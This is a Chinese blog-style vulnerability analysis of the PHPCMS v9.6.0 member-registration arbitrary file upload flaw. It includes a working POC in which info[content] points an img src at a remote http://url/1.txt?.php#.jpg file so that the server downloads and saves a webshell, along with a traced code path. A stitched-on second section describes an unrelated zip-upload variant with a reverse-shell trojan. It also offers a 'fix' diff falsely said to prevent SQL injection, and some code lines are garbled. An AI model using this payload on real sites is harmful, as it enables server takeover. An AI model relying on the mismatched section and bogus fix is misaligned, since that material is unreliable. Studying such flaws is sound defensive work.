PHPCMSv9.6.0前端任意文件上传漏洞分析

2023年将会持续于B站、优快云等各大平台更新,可加入粉丝群与博主交流:838681355,为了老板大G共同努力。

一、路径

漏洞分析:/index.php?m=member&c=index&a=register&siteid=1  前台注册页面处
路径: /phpcms/modules/member/index.php
注册处抓包:
POST /phpcms/install_package/index.php?m=member&c=index&a=register&siteid=1 HTTP/1.1

siteid=1&modelid=10&username=123456&password=123456&pwdconfirm=123456&email=123456%40qq.com&nickname=123456&info%5Bbirthday%5D=2022-04-28&dosubmit=%E5%90%8C%E6%84%8F%E6%B3%A8%E5%86%8C%E5%8D%8F%E8%AE%AE%EF%BC%8C%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C&protocol=

在这里插入图片描述

二、分析

正常流程分析:
函数定位:register,代码做验证处理
在这里插入图片描述
接着往下走,有验证处理模块:
在这里插入图片描述
验证完毕没有重复后,接下来做获取会员信息的模块:传入info值

关键点:$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);

在这里插入图片描述
根据下方get函数定位追踪:——> member_input.class.php
在这里插入图片描述
观察fields函数,追踪赋值,回到get函数,得知get是做了一个校验的操作。
校验结束之后,将表单插入数据库中:
在这里插入图片描述
观察数据库:
在这里插入图片描述

10——>birthday生日  11——>content内容
POC:
siteid=1&modelid=11&username=NSdemon&password=NSdemon123&pwdconfirm=123456&email=NSdemon@qq.com&info[content]=<img src=http://url/1.txt?.php#.jpg>& &dosubmit=1&protocol=

恶意代码存在info中
在这里插入图片描述
通过了array_map进行处理,追踪array_map分析:
new_html_special_chars做防XSS的过滤,对尖括号进行转义的方式。
在这里插入图片描述
往下走传入get中,$data最后传入value中,追踪value
在这里插入图片描述
截取长度的处理函数:
在这里插入图片描述
做了一个数据查询的处理:
在这里插入图片描述
处理完modelid函数后,追踪editor
在这里插入图片描述

$value = $this->attachment->download(‘content’, v a l u e , value, value,watermark_enable);
对传入的值做了一个处理操作,追踪下文: phpcms/libs/classes/attachment.class.php
在这里插入图片描述

做了一个后缀处理:gif|jpg|jpeg|bmp|png
s t r i n g = n e w s t r i p s l a s h e s ( string = new_stripslashes( string=newstripslashes(value);做了一个new_stripslashes处理
追踪查看: phpcms/libs/functions/global.func.php
在这里插入图片描述
做防止恶意代码
if(!preg_match_all(“/(href|src)=([|']?)([^ '>]+($ext))\2/i”, $string, $matches)) return $value; 做了正则处理,来校验后缀。
处理完后,将进入matches做处理:
在这里插入图片描述
用fillurl做了处理,追踪查看分析:/phpcms/libs/classes/attachment.class.php
在这里插入图片描述
核心问题代码:去掉了#处理,去掉了poc后的#.jpg
在这里插入图片描述
通过Okurl进行拼接,将原本的.php拼回给了url
在这里插入图片描述
最后将马加载去了服务器地址中,由此写入webshell。
在这里插入图片描述

### PHPCMS V9 文件上传漏洞概述 PHPCMS V9 存在一个严重的文件上传漏洞,攻击者可以通过特定路径上传恶意 PHP 脚本并执行任意代码。该漏洞主要源于系统未能严格验证上传文件的类型和内容,在某些情况下允许带有 `.php` 扩展名或其他可执行脚本类型的文件通过审核机制。 #### 漏洞成因分析 在处理文件上传的过程中,如果程序逻辑设计不当,则可能导致安全风险。具体来说: - 当尝试上传包含图片和其他扩展名(如`.php`)的压缩包时,尽管图像文件得以保留,但PHP文件会被移除[^3]。 这种行为表明服务器端确实进行了部分过滤操作,然而对于ZIP等归档格式的支持却成为了潜在的安全隐患——即攻击者能够利用这一点绕过常规检查流程实现恶意目的。 #### 利用方式 为了成功触发这一漏洞,通常的做法是构造特制的数据提交给目标应用的服务接口。例如,将正常图片与隐藏有恶意代码片段的PHP文件打包在一起发送至指定位置;一旦解压过程发生错误或疏漏,就可能造成后者被放置到Web根目录内从而获得远程控制权限。 ```bash # 构造含有恶意payload的zip文件 zip -r evil.zip shell.php image.jpg ``` 上述命令创建了一个名为 `evil.zip` 的压缩文档,其中包含了合法图片以及一个用于获取反向Shell连接的PHP木马(`shell.php`)。 #### 安全修复建议 针对此类问题的最佳实践措施如下所示: 1. **加强MIME Type校验** 修改配置项以增强对HTTP请求头中的Content-Type字段解析能力,确保只接受预期范围内的媒体资源形式。 2. **启用白名单策略** 对于所有涉及文件I/O的操作均应采用严格的正则表达式匹配模式来限定接收对象仅限于已知无害类别,并且严禁任何形式的动态解释执行环境外来的指令集。 3. **实施多层防护体系** 结合前端JavaScript预览插件、中间件代理审查服务还有后台数据库记录审计等多种手段共同作用,形成全方位立体化的防御网络结构。 4. **定期更新补丁版本** 关注官方发布的最新消息公告和技术支持渠道推送的通知提醒,及时安装经过充分测试认证过的修正版软件产品,减少不必要的暴露窗口期。 5. **调整源码细节** 参考社区反馈意见优化现有业务逻辑框架下的关键节点判断条件语句,比如引入更严谨的身份验证环节防止未授权访问越权篡改重要参数设置情况的发生。 ```diff // 原始代码可能存在安全隐患的地方 $password = isset($_POST[&#39;password&#39;]) && trim($_POST[&#39;password&#39;]) ? $_POST[&#39;password&#39;] : &#39;&#39;; // 改进建议后的写法更加健壮可靠 $password = !empty(trim($_POST[&#39;password&#39;])) ? htmlspecialchars(trim($_POST[&#39;password&#39;]), ENT_QUOTES, &#39;UTF-8&#39;) : null; ``` 这段改动不仅解决了原始实现中存在的SQL注入可能性,同时也增强了输入数据转义处理强度,降低了XSS跨站脚本攻击的风险水平[^5]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Cllmsy_K

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值